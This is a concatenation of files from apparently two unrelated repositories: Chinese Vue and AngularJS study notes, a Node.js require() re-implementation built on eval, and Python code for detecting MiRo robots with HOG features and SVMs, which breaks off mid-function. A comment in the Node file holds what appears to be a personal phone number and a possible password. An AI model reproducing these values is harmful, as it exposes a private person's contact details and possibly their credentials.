添加scoped之后,实际上vue在背后做的工作是将当前组件的节点添加一个像data-v-1233这样唯一属性的标识。 - 当然也会给当前style的所有样式添加[data-v-1233]这样的话,就可以使得当前样式只作用于当前组件的节点。 - 所以如果在父组件中修改子组件的样式不能加scoped属性。 ## 动画实现,组件向父组件传值(8.11) ### 传值的两种方式 - 父子组件之间的传值 ```js //子组件 export default{ data(){ return { number:1 } }, methods:{ add(){ this.number++ document.querySelector("#numb").innerText=this.number this.submitCount() }, jian(){ if(this.number>1){ this.number-- document.querySelector("#numb").innerText=this.number this.submitCount() } }, submitCount(){ this.$emit('count',this.number)//count:父组件接收值的标记 } } } //父组件 //父组件调用是监控count标记把值传入getCount方法中。 <number v-on:count="getCount"></number> methods:{ //通过方法的形式获取子组件传递的值 getCount(num){ this.count=num } } ``` - 没有直接关联的组件传值 ```js //在一个js文件中定义一个独立的vue对象保存值(中转站) import Vue from 'vue' export var mddata=new Vue() //导出一个vue //传值的组件 //使用这个值的地方进行引用 import {mddata} from './Tools/middledata' //传递值组件调用的方法 mddata.$emit('shopcar',this.count) //获取值的组件,值传递的约定标识shopcar import {mddata}from './components/Tools/middledata' mddata.$on('shopcar',function (number) { }) ``` ### 动画实现 - 贝塞尔曲线:可以设置动画运动轨迹速度的快慢 - js钩子hook》中间件,动画经过的事件就是一系列的中间件 ```js //对要进行运动的元素设置css transition: all 1s cubic-bezier(.56,-0.42,.36,.59); //设置元素在运动时经过的方法 <transition v-on:before-enter="beforeEnter" v-on:enter="enter" v-on:after-enter="afterEnter" > <div v-show="isshow" class="bill"></div> </transition> // 在methods中设置动画要调用的方法 // 进入之前调用的一个方法 beforeEnter: function (el) { el.style.transform = "translate3d(0,0,0)" }, // 进入时候调用的方法 enter: function (el, done) { var offset = el.offsetWidth //设置这个使元素感觉到属性在发生变化 el.style.transform = "translate3d(60px,303px,0)" done() }, // 进入完成以后调用的方法 afterEnter: function (el) { this.isshow = !this.isshow }, ``` ## vue生命周期,indexdb数据库,两种手机端app打包方式(8.13) 1. 关于Vue实例的生命周期 ![](./img/3504099265-580628fd03258_articlex.png) ![](./img/3346068135-580822cd52898_articlex.png) 2. 两种手机端app打包方式 - dcloud:源码会泄露给第三方 + HTML5+ 》 HBuilder - 本地环境:布置环境麻烦 + 生成手机app的环境配置: java jdk和安卓(2.2.2.0)sdk及其环境变量;全局安装ionic(开发工具) cordova(打包工具)包 - java jdk安装成功:cmd运行java -version和javac成功 - 安卓(2.2.2.0)sdk:可以安装配置不够,还要通过SDK Manager.exe继续安装 - npm i -g ionic cordova - 生成一个app项目:ionic start ioicApp(项目名称) - cordova run android 打安装包 ![](./img/snipaste_20170813_165955.png) ![](./img/snipaste_20170813_093921.png) ![](./imgsnipaste_20170813_103728.png) ![](./img/snipaste_20170813_102712.png) #### can i use:可以查看属性兼容性 <file_sep>[TOC] ## 流行框架 Angular第一天 ### 1.为什么要学习Angular? - 使我们做单页面应用更加容易 - Angular自身有很多颠覆性的特性 改变了前端的编码方式 简化了我们的操作 - 火,就业需要 ### 2.Angular是什么? - 一款非常优秀的前端高级JS框架 - 由谷歌团队负责开发维护 ### 4.框架与库 - 无论是angular还是jQuery都是用原生JS封装的 - 库: + 对代码进行封装 调用封装的方法 简化操作 * jquery 针对DOM操作 * requirejs js模块化 - 框架: + 虽然也是调用封装的方法 + 但是更多的框架会提供代码书写的规则 + 我们要按照规则去写代码 框架会帮我们实现相应的功能 ### 5.Angular核心思想 - write less do more - 其核心是通过指令扩展了HTML,通过表达式绑定数据到HTML。 - Angular不推崇DOM操作,也就是说在NG中几乎找不到任何的DOM操作 - 一切操作以数据为中心,用数据驱动DOM ### 6.获取angular的方式 + [在官网上下载](http://angularjs.org) + [通过CDN的方式引入到页面中](https://cdn.bootcss.com/angular.js/1.6.4/angular.min.js) + `<script src="https://cdn.bootcss.com/angular.js/1.6.4/angular.min.js"></script>` ### 7.Angular快速入门 (hello world) - 基本的指令及表达式 + 在使用了angular的页面,以ng-开头的属性,都可以称之为指令 + ng-app * 告诉angular它在页面中所要控制的范围 * 页面加载完成angular会自动在页面中查找这个指令 * 如果页面中没有这个指令,angular将不会启动 + ng-model * 实现双向数据绑定 + ng-click * 点击事件(和原生JS中的onclick事件作用一样) + ng-init * 初始化数据 + 表达式介绍 * {{}} 这种双大括号的形式称之为插值表达式 * 在表达式中可以写ng中的变量 * 可以显示字符串 * 在表达式中可以进行计算 * 可以在表达式中写三目运算符 * 执行angular函数 - 画图分析Angular实现双向数据绑定的原理 ### 8.Angular模块化开发 - 模块化开发带来的好处 + 方便管理, 复用,后期维护方便 + 解决代码冲突,方便多人协作开发 - 分析模块和控制器与页面之间的关系 - 定义模块的语法规则 - 定义模块时第二个参数加与不加的区别 + 加第二个参数是创建模块 + 不加第二个参数是获取模块 - 报错信息分析 + Module 'myApp' is not available! You either misspelled the module name or forgot to load it. If registering a module ensure that you specify the dependencies as the second argument. + 'myApp' 这个模块是不可获取的! 你要么拼写错误 要么忘了加在他 你要确保一个有效的模块 做为了第二个参数的依赖 - 模块依赖 + 主模块依赖了其他模块 就相当于拥有了其他模块的功能 ### 9.Angular中如何使用控制器 - 定义及使用控制器 - 控制器的作用 + 向页面中赋初始值 + 向页面中展示数据 + 代码分类 ### 10.单页面应用程序介绍 (simple page application) - 回顾传统网站(http://www.kuoda.com.cn/indexs.html)(图) - 单页应用网站(http://m.daqizhong.com/index.html#/) - 解释单页面应用(图) - 单页面应用实现原理(图) - 单页面应用程序的特点 + 整个网站由一个页面构成 + 公共部分只加载一次 + *利用Ajax局部刷新达到页面切换的目的* + 不会发生页面跳转白屏的现象 + *锚点与页面对应* - 原生JS实现一个简单的单页面demo - angular实现一个简单的单页面demo ### 11.Angular中的路由 - 通过画图分析在生活中路由起到什么样的作用 - Angular中的路由使用方法 + [官方说明文档](https://docs.angularjs.org/api/ngRoute) + 如何获取路由模块 * [通过CDN的方式引入到页面中](https://cdn.bootcss.com/angular.js/1.6.4/angular-route.min.js) + 在html页面中通过script标签的方式引入路由模块文件 + 在应用主模块中依赖路由模块ngRoute + 配置路由 * 通过config方法注入$routeProvider * 介绍配置中常用的参数 + 路由和控制器的整合 + 使用templateUrl方式载入模板需要在http环境下(本地file协议下不支持) ### Angular相关网站 - [官方网站](http://angularjs.org) - [官方文档](https://code.angularjs.org/1.6.4/docs/api) - [学习网站] + http://www.angularjs.net.cn + http://www.apjs.net + http://www.runoob.com/angularjs/angularjs-tutorial.html<file_sep>function $require(x){ //1.根据文件路径找到js文件 const fs=require('fs'); const path=x //2.读取文件内容 const content=fs.readFileSync(path,'utf8') //3.执行代码 const $module={ $exports:{} } const $exports=$module.$exports const code=`(function($exports,$module,$require){ ${content} }($exports,$module,$require)) ` eval(code); //4.想办法拿到module.exports //4.return return $module.$exports; } var cal= $require('./calculator.js'); console.log(cal.add(2,3)) //inspect 调试n //谷歌插件 pejkokffkapolfffcgbmdmhdelanoaih //unsplash.it/300/200?random https://unsplash.it/800/800?random //传入一个模块名称 const fs=require('fs'); //传入一个相对路径 const module1=require('./calculator') //传入绝对路径(基本不会用) //没有可移植性 const module2=require('C:/czbkqd/就业班/笔记/node/lib/require.js') //1.start with .:./ ../ //都是按照相对路径方式找到文件 //相对路径得考虑基准路径 //2. start with [a-z0-9]:fs path http //都是去找预制模块(系统内置,第三方),传入的是模块的名称 //3. start with /or c:/ : //绝对路径(没有争议) //扩展名可省略得情况 js,json,node(原生扩展文件) //require 可以直接载入json文件 //如果文件名是index,可以默认不写,如果有和目录同名得文件,则找这个文件 //node原生API不够满足需求时,可以c++ 写 //require.main 可以用来获取入口模块 //可以手动删除缓存 // 13241087977 // <EMAIL> // 27102514 //把所有得require全部置顶 const path=require('path') // path不会判断路径存在与否,只是单纯得字符串操作。 path.join()//将多个路径合并到一个路径中,并格式化 path.join(__dirname,'')//把相对路径转化为绝对路径 //join只是单纯得拼接 //resolve会在前一个路径作为基准路径,然后cd操作 后面绝对路径会覆盖第一个 //参数可能绝对路径得时候用 path.resolve() //normalize.css 对样式进行初始化。 // iconv-lite npm install<file_sep>- 由于IE8及更早版本将NodeList实现为一个COM对象,而我们不能像使用JScript对象那样使用这种对象使用数组的方法([].slice.call(nodes,0))把它转化为数组会导致错误,必须手动枚举所有成员。
32c3e6f2a9346f9316e24d2b3eb4af82abe09443
[ "Markdown", "JavaScript", "HTML", "PHP" ]
30
Markdown
zsnpromise/webnote
047a7b2c97550931bf64d180ab5a5e172caf6aba
56fa54f0f767307d27b7026660a39f364cad377c
refs/heads/master
<repo_name>MatthewTWhelan/miroDetection<file_sep>/Old_detectors/miroDetector1.py # <NAME> # Here we will load up the trained SVM using HOG feature extraction. Then the # adaptive threshold will be applied for finding a ROI, before attempting to # classify the ROI import numpy as np import cv2 import os import sys def imshow(img): cv2.imshow('image',img) cv2.waitKey(0) cv2.destroyAllWindows class miroDetector: def __init__(self): # Let's set up HOG and load the SVM data winSize = (64,64) blockSize = (16,16) blockStride = (8,8) cellSize = (8,8) nbins = 9 derivAperture = 1 winSigma = 4. histogramNormType = 0 L2HysThreshold = 2.0000000000000001e-01 gammaCorrection = 0 nlevels = 64 self.hog = cv2.HOGDescriptor(winSize,blockSize,blockStride,cellSize,nbins,derivAperture,winSigma, histogramNormType,L2HysThreshold,gammaCorrection,nlevels) self.svm = cv2.ml.SVM_load('svm.dat') def ROI_expand(self,(x,y,w,h)): w_new = int(w*1.5) h_new = int(h*1.5) x_new = x - (w_new - w)/2 y_new = y - (h_new - h)/2 if x_new >= 0: x = x_new if y_new >= 0: y = y_new return (x, y, w_new, h_new) def ROI(self,img): # thresholding the standard image img_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) mean,stddev = cv2.meanStdDev(img_grey) thresh = mean*(1 + -0.75*(stddev/128 - 1)) if thresh>230: thresh = 230 img_thresh = cv2.inRange(img_grey, thresh, 255) imshow(img_thresh) _,contours,_ = cv2.findContours(img_thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) roi = [] for c in contours: if cv2.contourArea(c) < 256: continue (x, y, w, h) = cv2.boundingRect(c) (x, y, w, h) = self.ROI_expand((x,y,w,h)) roi.append((x,y,w,h)) return roi def detector(self,img): # Let us now load the test images and run them through the ROI algorithm roi = self.ROI(img) # The SVM classifier will now be run on each ROI. The ROI is first set to a square # size, reduced (or increased) to size 64x64, then tested using HOG and SVM. detected = [] for r in range(len(roi)): (x,y,w,h) = roi[r] winSize = 32 while winSize < min(w,h): for x_win in range(x, x + w - winSize, 4): for y_win in range(y, y + h - winSize, 4): win = img[y_win:(y_win+winSize), x_win:(x_win+winSize)] img_roi = cv2.resize(win,(64,64)) hog_feature = np.transpose(self.hog.compute(img_roi)).astype(np.float32) result = self.svm.predict(hog_feature)[1] if result>0: detected.append(((x_win,y_win,winSize),result)) winSize += 8 self.Overlap(detected) for det in detected: (x_win,y_win,winSize) = det[0] result = det[1] cv2.rectangle(img, (x_win,y_win), (x_win+winSize,y_win+winSize), (255,0,0), 2) if result==1: print 'MiRo has been detected from the left side' if result==2: print 'MiRo has been detected from the right side' if result==3: print 'MiRo has been detected from the back side' imshow(img) def Overlap(self,detected): # This method counts the number of overlapping detected zones, determines most likely orientation, # and returns single detected regions x = [] y = [] win = [] for det in detected: (x_win,y_win,winSize) = det[0] x.append(x_win) y.append(y_win) win.append(winSize) print x print y print win groups = np.zeros((10,50)) # store a max of 10 groups, each with a max of 50 detected regions for i in range(len(detected)): for j in range(i+1,len(detected)): if i==j: continue a1 = x[j] <= (x[i] + win[i]) and x[j] >= x[i] a2 = y[j] <= (y[i] + win[i]) and y[j] >= y[i] a3 = x[i] <= (x[j] + win[j]) and x[i] >= x[j] a4 = y[i] <= (y[j] + win[j]) and y[i] >= y[j] if a1 and (a2 or a4): print "these overlap: ",i,j elif a3 and (a2 or a4): print "these overlap: ",i,j else: print "no overlap: ",i,j if __name__ == "__main__": for arg in sys.argv[1:]: f = arg.find('=') if f == -1: key = arg val = "" else: key = arg[:f] val = arg[f+1:] if key == "image_path": image = val else: print("argument \"image_path\" must be specified") sys.exit(0) img = cv2.imread(image) cv2.imshow('image',img) cv2.waitKey(0) cv2.destroyAllWindows() if img is None: print("Invalid image location specified") sys.exit(0) miroDetector().detector(img) <file_sep>/gradients.py import cv2 import numpy as np def imshow(img): cv2.imshow('image',img) cv2.waitKey(0) cv2.destroyAllWindows() img = cv2.imread('Training_images/MiRo_face/11.png') img = cv2.resize(img,(64,64)) # gradient image can be obtained using Sobel edges, as below. Or, they # can be found using the hog.computeGradients method (see below for how to # initialise hog) gx = cv2.Sobel(img, cv2.CV_32F, 1, 0, ksize=1) gy = cv2.Sobel(img, cv2.CV_32F, 0, 1, ksize=1) mag, angle = cv2.cartToPolar(gx, gy, angleInDegrees=True) imshow(mag) cv2.imwrite("SobelEdges.png",mag) cell = img[39:47,47:55] cv2.imwrite("cell8size.png",cell) # Computing HOG features for the image # setting up the HOG feature extractor winSize = (64,64) blockSize = (16,16) blockStride = (8,8) cellSize = (8,8) nbins = 9 derivAperture = 1 winSigma = 4. histogramNormType = 0 L2HysThreshold = 2.0000000000000001e-01 gammaCorrection = 0 hog = cv2.HOGDescriptor(winSize,blockSize,blockStride,cellSize,nbins,derivAperture,winSigma, histogramNormType,L2HysThreshold,gammaCorrection) h = hog.compute(img) # The hog feature vector contains, in most cells, two sets of histograms. # Therefore, for plotting, they will be renormalised anyway (relative to the # individual histogram) so which one is taken is irrelevent. There are 64 cells # in total, so an array of size 64x9 will be used to store the normalised # histograms for each cell. Note that, if the blocks slide left to right, # then the side cells will contain only one histogram. The rest of the cells # each contain two histograms in the hog feature vector. This must be accounted # for. cell_hists = np.zeros((64,9)) index_no = [ # The HOG descriptor is built on the 2x2 blocks. Hence, for each cell, # more than one histogram is built. These indices are the cell numbers that # have been built for the descriptor. Index 0 represents h[0:9], 182 represents # h[182:191] etc. 0, 4, 8, 12, 16, 20, 24, 25, 28, 32, 36, 40, 44, 48, 52, 53, 56, 60, 64, 68, 72, 76, 80, 81, 84, 88, 92, 96, 100, 104, 108, 109, 112, 116, 120, 124, 128, 132, 136, 137, 140, 144, 148, 152, 156, 160, 164, 165, 168, 172, 176, 180, 184, 188, 192, 193, 170, 174, 178, 182, 186, 190, 194, 195 ] i = 0 for ind in index_no: cell_hists[i,:] = np.reshape(h[ind*9:ind*9 + 9],9) i += 1 i = 0 for x in range(8): for y in range(8): cell_grads = cell_hists[i,:] #print np.size(cell_grads) img = cv2.resize(img,(64*8,64*8)) for j in range(9): total = sum(cell_grads) ang = j*20 x_len = int( np.sin(ang) * cell_grads[j] / total * 50 ) y_len = int( np.cos(ang) * cell_grads[j] / total * 50 ) cv2.line(img, ((x+1)*8*8-x_len/2-32,(y+1)*8*8-y_len/2-32), ((x+1)*8*8+x_len/2-32,(y+1)*8*8+y_len/2-32), (0,0,255), 1) i += 1 imshow(img) cv2.imwrite("Gradients.png",img) <file_sep>/HOG_w_svm_TRAIN.py #!/usr/bin/python #!/usr/bin/python # <NAME> # WARNING: Running this script will overwrite the svm.dat and svmCon.dat # files, which are used in the main Miro Detector. # This script is used to train the SVM on a set of training images, and # performs validation of the SVM classifier too. # Classification is performed on three of MiRo's body parts - side views # (left and right) and back view. # A second SVM is generated that is later used for extracting confidence # levels of detection. This is a simple binary classifier, using the # positive and negative images as the training data. import numpy as np import cv2 import os import time test = False # If one wants to validate only, set this to true. If one is only # interested in training the SVM, set to false. def imshow(img): cv2.imshow('image',img) cv2.waitKey(0) cv2.destroyAllWindows # setting up the HOG feature extractor winSize = (64,64) blockSize = (16,16) blockStride = (8,8) cellSize = (8,8) nbins = 9 derivAperture = 1 winSigma = 4. histogramNormType = 0 L2HysThreshold = 2.0000000000000001e-01 gammaCorrection = 0 nlevels = 64 hog = cv2.HOGDescriptor(winSize,blockSize,blockStride,cellSize,nbins,derivAperture,winSigma, histogramNormType,L2HysThreshold,gammaCorrection,nlevels) # Setting up the face detector parameters. It's important the parameters # keep the resultant feature vector having the same size as the body extractor. # This is so it's easy to use the negative image features in training. winSizeFace = (32,32) blockSizeFace = (8,8) blockStrideFace = (4,4) cellSizeFace = (2,2) hogFace = cv2.HOGDescriptor(winSizeFace,blockSizeFace,blockStrideFace,cellSizeFace,nbins,derivAperture, winSigma,histogramNormType,L2HysThreshold,gammaCorrection,nlevels) print "Collecting image data..." # We have three classes for the body: MiRo's two side views and the back. # Here we compute the hog features for each img_side_l_dir = 'Training_images/MiRo_body/Left/' img_side_r_dir = 'Training_images/MiRo_body/Right/' img_back_dir = 'Training_images/MiRo_body/Back/' no_side_l = len(os.listdir(img_side_l_dir)) no_side_r = len(os.listdir(img_side_r_dir)) no_back = len(os.listdir(img_back_dir)) hog_side_l = np.zeros((no_side_l,1764)) hog_side_r = np.zeros((no_side_r,1764)) hog_back = np.zeros((no_back,1764)) j = 0 for filename in os.listdir(img_side_l_dir): img = cv2.imread(os.path.join(img_side_l_dir,filename)) if img is not None: img = cv2.resize(img,(64,64)) # resizing the image to 64x64 size h = hog.compute(img) hog_side_l[j,:] = np.reshape(h,np.size(h),1) j += 1 j = 0 for filename in os.listdir(img_side_r_dir): img = cv2.imread(os.path.join(img_side_r_dir,filename)) if img is not None: img = cv2.resize(img,(64,64)) # resizing the image to 64x64 size h = hog.compute(img) hog_side_r[j,:] = np.reshape(h,np.size(h),1) j += 1 j = 0 for filename in os.listdir(img_back_dir): img = cv2.imread(os.path.join(img_back_dir,filename)) if img is not None: img = cv2.resize(img,(64,64)) # resizing the image to 64x64 size h = hog.compute(img) hog_back[j,:] = np.reshape(h,np.size(h),1) j += 1 # Computing HOG features for the negative images negative_images_dir = 'Training_images/Negatives/' no_negs = len(os.listdir(negative_images_dir)) j = 0 hog_negs = np.zeros((no_negs,1764)) for filename in os.listdir(negative_images_dir): img = cv2.imread(os.path.join(negative_images_dir,filename)) if img is not None: img = cv2.resize(img,(64,64)) # resizing the image to 64x64 size h = hog.compute(img) hog_negs[j,:] = np.reshape(h,np.size(h),1) j += 1 # and the same for the face negs (needs doing for difference in feature desciptor size) j = 0 hog_negs_face = np.zeros((no_negs,7056)) for filename in os.listdir(negative_images_dir): img = cv2.imread(os.path.join(negative_images_dir,filename)) if img is not None: img = cv2.resize(img,(32,32)) # resizing the image to 64x64 size h = hogFace.compute(img) hog_negs_face[j,:] = np.reshape(h,np.size(h),1) j += 1 # combining the training data train = np.vstack(( hog_side_l, hog_side_r, hog_back, hog_negs)).astype(np.float32) # create the training labels: left side = 1, right side = 2, back = 3, negs = -1 side_l_label = 1 side_r_label = 2 back_label = 3 negs_label = -1 train_labels = np.concatenate( (np.repeat(side_l_label,no_side_l), np.repeat(side_r_label,no_side_r), np.repeat(back_label,no_back), np.repeat(negs_label,no_negs)), axis=0)[:,np.newaxis] # Training the SVM for MiRo faces faces_image_dir = '/home/matt/miroDetection/Training_images/MiRo_face/' no_faces = len(os.listdir(faces_image_dir)) j = 0 hog_faces = np.zeros((no_faces,7056)) for filename in os.listdir(faces_image_dir): img = cv2.imread(os.path.join(faces_image_dir,filename)) if img is not None: img = cv2.resize(img,(32,32)) # resizing the image to 32x32 for faces h = hogFace.compute(img) hog_faces[j,:] = np.reshape(h,np.size(h),1) j += 1 trainFaces = np.vstack((hog_faces, hog_negs_face)).astype(np.float32) train_face_labels = np.concatenate( (np.repeat(1,no_faces), np.repeat(-1,no_negs)), axis=0)[:,np.newaxis] if not test: print "Training only" # training the SVM, and saving as a dat file print "Training the SVM..." svm = cv2.ml.SVM_create() svm.setKernel(cv2.ml.SVM_LINEAR) svm.setType(cv2.ml.SVM_C_SVC) svm.train(train, cv2.ml.ROW_SAMPLE, train_labels) # here we can save the SVM data and then load it back in for classifying svm.save('svm.dat') #svm = cv2.ml.SVM_load('svm.dat') # training a second, binary classifier in order to get confidence levels svmCon = cv2.ml.SVM_create() svmCon.setKernel(cv2.ml.SVM_LINEAR) svmCon.setType(cv2.ml.SVM_C_SVC) train_labels_con = np.zeros(np.shape(train_labels), dtype = int) for i in range(np.size(train_labels)): train_labels_con[i] = train_labels[i] / abs(train_labels[i]) svmCon.train(train, cv2.ml.ROW_SAMPLE, train_labels_con) svmCon.save('svmCon.dat') # finally training the MiRo face detector svmFace = cv2.ml.SVM_create() svmFace.setKernel(cv2.ml.SVM_LINEAR) svmFace.setType(cv2.ml.SVM_C_SVC) svmFace.train(trainFaces, cv2.ml.ROW_SAMPLE, train_face_labels) svmFace.save('svmFace.dat') print "Training complete" else: # Below lines for testing purposes. It will train the SVM on a # subset of the training data, then validate on the rest. import random print "Running validation" print "Training the SVM..." for i in range(50): index_l = random.sample(range(no_side_l),50) index_r = random.sample(range(no_side_l, no_side_l + no_side_r),50) index_b = random.sample(range(no_side_l + no_side_r, no_side_l + no_side_r + no_back),100) index_neg = random.sample(range(no_side_l + no_side_r + no_back, no_side_l + no_side_r + no_back + no_negs),1000) index = np.concatenate((index_l,index_r,index_b,index_neg),axis=0) val_data = train[index,:] val_labels = train_labels[index] train = np.delete(train,index,axis=0) train_labels = np.delete(train_labels,index,axis=0) svm = cv2.ml.SVM_create() svm.setKernel(cv2.ml.SVM_LINEAR) svm.setType(cv2.ml.SVM_C_SVC) svm.train(train, cv2.ml.ROW_SAMPLE, train_labels) result = svm.predict(val_data)[1] print "Training complete" no_correct = 0 no_false = 0 i = 0 for res in result: if val_labels[i] == res: no_correct += 1 else: no_false += 1 i += 1 print "Percentage of correctly classified images is: ", float(no_correct) / len(val_labels) <file_sep>/imageEditing.py # Simple script written to mirror all images, then rotates all images # (including those previously mirrored). These can be used as further # training instances. Scaling is not necessary as HOG scales all images # to the same size anyway. import cv2 import os import numpy as np import datetime img_dir = 'image_capture/' img_save_dir = 'image_capture/' now = datetime.datetime.now() year = now.year month = now.month day = now.day hour = now.hour minute = now.minute date = str(year-2000) + str(month) + str(day) + "_" + str(hour) + str(minute) print date # use precise date and time to generate unique image names #image mirroring for filename in os.listdir(img_dir): img = cv2.imread(os.path.join(img_dir,filename)) if img is not None: img_mirr = cv2.flip(img,1) cv2.imwrite(img_save_dir + 'mirrored_' + filename, img_mirr) #image rotating (6 angles, +- 4deg, 8deg and 12deg) for filename in os.listdir(img_dir): img = cv2.imread(os.path.join(img_dir,filename)) if img is not None: rows,cols,_ = np.shape(img) for ang in [4,8,12]: M_pos = cv2.getRotationMatrix2D((cols/2,rows/2),ang,1) M_neg = cv2.getRotationMatrix2D((cols/2,rows/2),-ang,1) img_rot_pos = cv2.warpAffine(img,M_pos,(cols,rows)) img_rot_neg = cv2.warpAffine(img,M_neg,(cols,rows)) cv2.imwrite(img_save_dir + date + 'pos_rotate' + str(ang) + filename, img_rot_pos) cv2.imwrite(img_save_dir + date + 'neg_rotate' + str(ang) + filename, img_rot_neg) <file_sep>/miroDetector.py #!/usr/bin/python # <NAME> # MiRo detection using HOG features and an SVM kernal machine classifier import numpy as np import cv2 import os import sys import time import datetime class miroDetector: def __init__(self): # Let's set up HOG and load the SVM data winSize = (64,64) blockSize = (16,16) blockStride = (8,8) cellSize = (8,8) nbins = 9 derivAperture = 1 winSigma = 4. histogramNormType = 0 L2HysThreshold = 2.0000000000000001e-01 gammaCorrection = 0 nlevels = 64 self.hog = cv2.HOGDescriptor(winSize,blockSize,blockStride, cellSize,nbins,derivAperture,winSigma, histogramNormType,L2HysThreshold, gammaCorrection,nlevels) winSizeFace = (32,32) blockSizeFace = (8,8) blockStrideFace = (4,4) cellSizeFace = (2,2) self.hogFace = cv2.HOGDescriptor(winSizeFace,blockSizeFace, blockStrideFace,cellSizeFace,nbins, derivAperture,winSigma,histogramNormType, L2HysThreshold,gammaCorrection,nlevels) self.svm = cv2.ml.SVM_load("svm.dat") self.svmCon = cv2.ml.SVM_load("svmCon.dat") self.svmSupportVector = self.svmCon.getSupportVectors() self.svmFace = cv2.ml.SVM_load("svmFace.dat") def detector(self,img,faces=False): t0 = time.time() now = datetime.datetime.now() year = now.year month = now.month day = now.day hour = now.hour minute = now.minute date = str(year-2000) + str(month) + str(day) + "_" + str(hour) + str(minute) (self.resY, self.resX, _) = np.shape(img) #print help(self.svmCon.getDecisionFunction) t0 = time.time() # cropping off the top third of the image img_crop = img[int(self.resY/3):self.resY, 0:self.resX] roi = self.ROI(img_crop) detected = [] detectedFaces = [] i = 1 for r in range(len(roi)): if faces: (x,y,w,h) = roi[r] winSize = 32 while winSize < max(w,h): for x_win in range(x, x + w - winSize, 4): for y_win in range(y, y + h - winSize, 4): win = img_crop[y_win:(y_win+winSize), x_win:(x_win+winSize)] if np.size(win) == 0: continue img_roi = cv2.resize(win,(64,64)) img_roi_face = cv2.resize(win,(32,32)) hog_feature = np.transpose(self.hog.compute(img_roi)).astype(np.float32) hog_feature_face = np.transpose(self.hogFace.compute(img_roi_face)).astype(np.float32) result = self.svm.predict(hog_feature)[1] resultSvmCon = self.svmCon.predict(hog_feature)[1] faceResult = self.svmFace.predict(hog_feature_face)[1] #print (faceResult) if faceResult == 1: detectedFaces.append([x_win,y_win,winSize]) elif result > 0 or resultSvmCon == 1: # the below two lines are useful for storing classified regions, if needed for adding to negative image database etc.. #cv2.imwrite(date + "_" + str(i) + 'image.png', win) #i += 1 decisionFuncVal = self.decisionFuncValue(hog_feature) #~ print "svmCon result is: ", resultSvmCon #~ print decisionFuncVal #~ print result detected.append(((x_win,y_win,winSize),result,decisionFuncVal)) t = time.time() - t0 #~ if t > 2: #~ return None, None, None, None # to break the detector if it's taking more than 2 seconds winSize += 8 else: (x,y,w,h) = roi[r] winSize = 32 while winSize < max(w,h): for x_win in range(x, x + w - winSize, 4): for y_win in range(y, y + h - winSize, 4): win = img_crop[y_win:(y_win+winSize), x_win:(x_win+winSize)] if np.size(win) == 0: continue img_roi = cv2.resize(win,(64,64)) hog_feature = np.transpose(self.hog.compute(img_roi)).astype(np.float32) result = self.svm.predict(hog_feature)[1] resultSvmCon = self.svmCon.predict(hog_feature)[1] if result > 0 or resultSvmCon == 1: decisionFuncVal = self.decisionFuncValue(hog_feature) detected.append(((x_win,y_win,winSize),result,decisionFuncVal)) t = time.time() - t0 if t > 2: return None, None, None # to break the detector if it's taking more than 2 seconds winSize += 8 if len(detected) == 0: print "No MiRo detected" if faces: return None, None, None, None else: return None, None, None else: detectedZones = self.overlap(detected) # detectedZones returns # a list of the detected zones in the following form # [xMin, xMax, yMin, yMax, noLeft, noRight, noBack, avgSVMDist] # for each detected zone. # adding 80 to the y detection coordinates to account for cropped image for det in detectedZones: det[1] += int(self.resY / 3) det[3] += int(self.resY / 3) if faces: for face in detectedFaces: face[1] += int(self.resY / 3) pass # organising the data for output detectedCoords, orientations, confidences = self.Organise(detectedZones) if faces: return detectedCoords, orientations, confidences, detectedFaces else: return detectedCoords, orientations, confidences def ROI(self,img): # thresholding the standard image using the histogram data to # set the threshold so that only 15%, or less, is thresholded k = 0 thresh_prop = 1.0 img_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) mean,stddev = cv2.meanStdDev(img_grey) thresh = mean*(1 + -k*(stddev/128 - 1)) img_thresh = cv2.inRange(img_grey, thresh, 255) thresh_prop = ( float(cv2.countNonZero(img_thresh)) / (float(np.shape(img)[0]) * float(np.shape(img)[1])) ) if thresh_prop > 0.3: thresh = self.histogramThresh(img) elif thresh_prop > 0.15: while thresh_prop > 0.15: thresh = mean*(1 + -k*(stddev/128 - 1)) img_thresh = cv2.inRange(img_grey, thresh, 255) thresh_prop = ( float(cv2.countNonZero(img_thresh)) / (float(np.shape(img)[0]) * float(np.shape(img)[1])) ) k += 0.05 _,contours,_ = cv2.findContours(img_thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) roi = [] for c in contours: if cv2.contourArea(c) < 256: continue (x, y, w, h) = cv2.boundingRect(c) (x, y, w, h) = self.ROI_expand((x,y,w,h)) #imshow(img[y:y+h,x:x+w]) roi.append((x,y,w,h)) return roi def histogramThresh(self,img): hist = cv2.calcHist([img],[0],None,[256],[0,256]) total = sum(hist) summed = 0 thresh = 0 for x in hist: summed += x thresh += 1 if summed / total > 0.85: break return thresh def ROI_expand(self,(x,y,w,h)): w_new = int(w*1.75) h_new = int(h*1.75) x_new = x - (w_new - w)/2 y_new = y - (h_new - h)/2 # edge cases x = 0 if x_new < 0 else x_new y = 0 if y_new < 0 else y_new w = (self.resX - 1 - x) if x + w_new > self.resX else w_new h = (self.resY - 1 - y) if y + h_new > self.resY else h_new return (x, y, w, h) def decisionFuncValue(self, hog_feature): # Method computes the decision function value manually. Rho is # first extracted, from which ther kernal fucntion is subtracted. # The kernel function is computed by taking the dot product # of the hog feature vector with the the support vector. # See https://docs.opencv.org/3.0-beta/modules/ml/doc/support_vector_machines.html#prediction-with-svm supportVector = self.svmSupportVector rho = self.svmCon.getDecisionFunction(i=0)[0] kernalFunc = np.dot(supportVector, np.transpose(hog_feature)) decisionFuncVal = rho - kernalFunc return decisionFuncVal def overlap(self,detected): # This method counts the number of overlapping detected zones, # and returns single detected regions with a count of the total # number of detections per orientation x = [] y = [] win = [] groups = np.zeros(len(detected)) for det in detected: (x_win,y_win,winSize) = det[0] x.append(x_win) y.append(y_win) win.append(winSize) groups[0] = 1 for i in range(len(detected)): for j in range(i+1,len(detected)): if i==j: continue a1 = x[j] <= (x[i] + win[i]) and x[j] >= x[i] a2 = y[j] <= (y[i] + win[i]) and y[j] >= y[i] a3 = x[i] <= (x[j] + win[j]) and x[i] >= x[j] a4 = y[i] <= (y[j] + win[j]) and y[i] >= y[j] if a1 and (a2 or a4): groups[j] = groups[i] elif a3 and (a2 or a4): groups[j] = groups[i] elif groups[j] == 0: groups[j] = max(groups) + 1 no_groups = int(max(groups)) groupRegions = np.zeros((no_groups,4)) for i in 